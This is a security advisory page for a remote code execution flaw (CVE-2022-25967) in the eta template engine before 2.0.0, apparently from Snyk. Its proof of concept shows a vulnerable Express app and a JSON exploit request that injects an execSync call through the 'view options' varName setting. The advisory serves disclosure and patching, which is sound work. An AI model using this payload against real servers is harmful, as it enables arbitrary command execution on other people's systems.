Remote Code Execution (RCE) Affecting eta package, versions <2.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
1.13% (86th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-ETA-2936803
  • published29 Jan 2023
  • disclosed29 Jun 2022
  • creditRayhan Ahmed Niloy

Introduced: 29 Jun 2022

CVE-2022-25967  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade eta to version 2.0.0 or higher.

Overview

eta is a Lightweight, fast, and powerful embedded JS template engine

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by overwriting template engine configuration variables with view options received from The Express render API.

Note: This is exploitable only for users who are rendering templates with user-defined data.

PoC

const express = require('express')

const app = express()
const eta = require('eta');

app.use(express.json());
app.engine('eta', eta.renderFile);
app.set('view engine', 'eta');

app.set('views', './views');

app.post('/user/update', function (req, res) {
const userConfig = req.body;

res.render('index.eta', {settings: userConfig});
})

app.listen(8001, function () {
console.log('listening for requests on http://localhost:8001')
})

Exploit request:

POST /user/update HTTP/1.1
Host: localhost:8001
User-Agent: Mozilla/5.0
Content-Type: application/json
Content-Length: 219

{ "view options": { "varName": "x=process.mainModule.require('child_process').execSync('touch /tmp/test.txt')", "include" : false, "includeFile": false, "useWith": true } }

CVSS Scores

version 3.1